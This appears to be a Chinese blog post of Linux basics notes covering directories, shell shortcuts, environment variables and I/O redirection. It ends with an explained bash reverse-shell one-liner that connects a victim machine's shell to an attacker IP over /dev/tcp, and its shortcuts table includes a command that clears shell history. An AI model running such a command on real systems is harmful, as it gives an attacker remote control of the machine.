Linux操作系统基础知识
Linux操作系统基础知识
Linux系统结构
- 内核
- Shell
- 文件系统
- 应用程序
Linux操作系统内核
- 管理进程
- 管理内存
- 管理驱动
- 管理文件和网络
Linux Shell
功能:接收用户的命令,经过转换,交给内核执行
cat —> open() read()
优点:
- 简化操作
- 安全
Linux Shell工具
| 名称 | 程序路径 | 作者 |
|---|---|---|
| bourne Shell | /usr/bin/sh或/bin/sh | Stephen Bourne |
| C Shell | /usr/bin/csh | Bill Joy |
| K Shell | /usr/bin/ksh | David Korn |
| Bourne Again Shell | /bin/bash | Brian Fox |
| Z Shell | /bin/zsh或/usr/bin/zsh | Paul Falstad |
Windows:cmd、Power Shell
Shell和Terminal
Linux文件系统
“一切皆文件”
| 查看文件 | 作用 |
|---|---|
| lsof /bin/bash | 查找某个文件相关的进程 |
| lsof -u root | 列出某个用户打开的文件信息 |
| lsof -c redis | 列出某个程序进程所打开的文件信息 |
| lsof -i tcp | 列出所有tcp 网络连接信息 |
| …… | …… |
Linux目录
根目录文件
| 目录 | 作用 | 备注 |
|---|---|---|
| bin | 存放普通用户可执行的指令 | 即使在单用户模式下也能够执行处理 |
| boot | 开机引导目录 | 包括Linux内核文件与开机所需要的文件 |
| dev | 设备目录 | 所有的硬件设备及周边均放置在这个设备目录中 |
| etc | 各种配置文件目录 | 大部分配置属性均存放在这里 |
| lib | 库文件存放地,bin和sbin需要的库文件 | 类似Windows的DLL |
| media | 可移除设备挂载目录 | 类似U盘、光盘、移动硬盘等临时挂放目录 |
| mnt | 用户临时挂载其他的文件系统 | 额外的设备可挂载在这里,相对临时而言 |
| opt | 第三方软件安装目录 | 现在习惯性的放置在/usr/local中 |
| proc | 虚拟文件系统 | 通常是内存中的映射,注意误删除数据文件的恢复 |
| root | 系统管理员主目录 | 除root之外,其他用户均放置在/home目录下 |
| run | 系统运行时所需文件 | 以前放在/var/run中,现在独立的/run目录 |
| sbin | 只有root才能运行的管理指令 | 跟bin类似,但只属于root管理员 |
| srv | 服务启动后需要访问的数据目录 | |
| sys | 虚拟文件系统 | 跟proc一样,记录核心系统硬件信息 |
| tmp | 存放临时文件目录 | 所有用户对该目录均可读写 |
| usr | 应用程序放置目录 | |
| var | 存放系统执行过程经常改变的文件 |
用户主目录
主目录:home directory
root用户的主目录是 /root
其他用户的主目录是 /home/用户名
将当前工作目录更改为当前用户的主目录:cd 空格 或者 cd ~
工作目录:working directory
目录指代
| 符号 | 指代 |
|---|---|
| 绝对路径 | 由根目录 / 开始写起 |
| 相对路径 | 从当前所在的工作目录开始写起 |
| / | 根目录 |
| . | 代表当前目录 |
| ~ | 代表用户工作目录,vim ~/.bashrc |
| ../ | 代表上一级目录 |
| ../../ | 上上一级目录,以此类推,超出范围的时候代表根目录 |
Linux常用操作
命令帮助
|
|
关机重启(root用户)
关机:
|
|
重启:
|
|
快捷键和命令
| 操作 | 作用 |
|---|---|
| Tab键 | 补全命令和目录(自动提示) |
| 方向键 | 上一条命令:↑;下一条命令:↓ |
| Ctrl + r | 搜索历史命令,回车执行 |
| !cd: | 重复执行最近一次以cd开头的历史命令 |
| Ctrl + Insert | 复制 |
| Shift + Insert | 粘贴 |
| Alt + Insert | 复制并粘贴 |
| Ctrl + E | 光标移动到行尾 |
| Ctrl + A | 光标移动到行首 |
| Ctrl + K | 清除光标后至行尾的内容 |
| Ctrl + U | 清除光标前至行首间的所有内容 |
| clear | 清屏,但是命令都还在 |
| history | 查看历史命令 |
| history -c | 清除历史命令 |
| kali:echo > ~/.zsh_history | 清除历史命令(kali Linux) |
别名配置alias
查看别名:alias
设置别名(以bash为例):vim ~/.bashrc
格式:alias short='xxx;xxx'
生效:source ~/.bashrc
通配符
| 符号 | 指代 |
|---|---|
| * | 任意字符 |
| ? | 单个字符 |
| [] | 匹配范围中的,比如[0-9][a-z] |
| {} | 多个 ll {.log,.txt} |
| ^ | 取反 ll*[^txt]* 查找不是.txt结尾 |
系统环境变量
环境变量是操作系统或应用程序提供的一种机制,用于存储和访问各种配置信息和运行时参数。它们对于操作系统和应用程序的正常运行非常重要,具有以下作用:
- 配置应用程序:环境变量可以设置应用程序的配置参数,例如数据库连接字符串、日志级别、系统路径等。通过修改环境变量,可以轻松更改应用程序的行为和设置。
- 系统路径设置:环境变量中的"PATH"变量定义了系统在哪些目录中查找可执行文件。当你在命令行中输入一个命令时,操作系统会根据"PATH"环境变量的值来查找对应的可执行文件。这样,你可以在任何目录下直接运行系统中的命令。
- 共享配置信息:环境变量可以用于共享配置信息和参数值。不同的应用程序可以使用相同的环境变量来获取共享的配置值,这样可以提高配置的一致性和可维护性。
- 运行时参数传递:通过设置环境变量,可以在不修改代码的情况下传递运行时参数给应用程序。应用程序可以读取环境变量的值来确定其行为。
- 系统定制化:环境变量允许用户对系统进行个性化定制。用户可以设置特定的环境变量来满足自己的需求,例如设置默认编辑器、语言环境、主题等。
查看全部变量:env
查看单个变量:echo $XXX
用户变量:~/.bashrc
系统变量:/etc/profile
设置JDK环境变量
vim /etc/profile
export JAVA_HOME=/usr/local/soft/java/jdk1.8.0_74
export PATH=$JAVA_HOME/bin:$PATH
export CLASSPATH=.:$JAVA_HOME/lib/dt.jar:$JAVA_HOME/lib/tools.jarsource /etc/profile
文件描述符和重定向
文件描述符 File Descriptor
| ID | 描述 | 设备 |
|---|---|---|
| 0 | 标准输⼊(stdin) | 键盘 |
| 1 | 标准输出(stdout) | 显示器 |
| 2 | 标准错误输出(stderr) | 显示器 |
重定向
在Linux中,重定向是一种将命令的输入或输出从默认的位置进行修改的方式。通过重定向,你可以将命令的输入重定向自文件,或将命令的输出重定向到文件或其他位置。
| 符号 | 类别 |
|---|---|
| > | 输出重定向(覆盖) |
| » | 输出重定向(追加) |
| 2> | 错误输出重定向 |
| &> | 标准输出和错误输出合并重定向 |
| < | 输入重定向 |
| « | Here文档(Here Document)输入重定向 |
| | | 管道(pipe) |
-
标准输出重定向(
>):使用>将命令的输出重定向到文件中,覆盖原有内容。例如:1command > output.txt -
标准输出追加重定向(
>>):使用>>将命令的输出追加到文件末尾,而不覆盖原有内容。例如:1command >> output.txt -
标准错误输出重定向(
2>):使用2>将命令的错误输出重定向到文件中。例如:1command 2> error.txt -
标准输出和错误输出合并重定向(
&>或>):使用&>或>将命令的标准输出和错误输出合并重定向到文件中。例如:1 2 3command &> output.txt 或 command > output.txt 2>&1 -
管道(
|):使用|将一个命令的输出作为另一个命令的输入。例如:1command1 | command2 -
标准输入重定向(
<):使用<将命令的输入从文件中读取。例如:1command < file将
file文件中的内容作为command的输入。 -
标准输入重定向(
<):使用<从标准输入(键盘)中读取数据,直到遇见分界符END才停止。例如:1command < END从标准输入(键盘)中读取数据,直到遇见分界符
END才停止。 -
标准输出和输入重定向(
<和>):使用<将文件file1作为command的输入,并将command的处理结果输出到文件file2。例如:1command < file1 > file2将
file1作为command的输入,并将command的处理结果输出到file2。 -
标准输入重定向和命令行参数结合使用(
<和<<):使用<将文件test.txt作为输入,并使用wc -l命令统计文件中的行数。例如:1wc -l < test.txt统计
test.txt文件中的行数。 -
标准输入重定向和Here文档结合使用(
<<):使用<<从标准输入(键盘)中读取数据,直到遇见分界符END才停止,并使用wc -l命令统计输入文本的行数。例如:1wc -l << END统计用户在终端输入的文本的行数,直到遇见分界符
END才停止。
bash反弹连接案例
bash -i >& /dev/tcp/192.168.142.44/7777 0>&1
bash -i:在靶机打开交互式的Shell
/dev/tcp/192.168.142.44/7777:连接到攻击机IP端口
>&和&>等价,代表标准输出1 + 错误输出2;把靶机的输出重定向到攻击机——接收结果
0>&1:左边是标准输入。右边是标准输出,输出重定向。把靶机的输入重定向为攻击机的输出——接收命令这条命令的作用:靶机的输入输出都到了攻击机上
当我站在传授他人的角度思考问题时
才能真正领悟并融会贯通
博客受益者是未来那个遗忘某个技术的自己
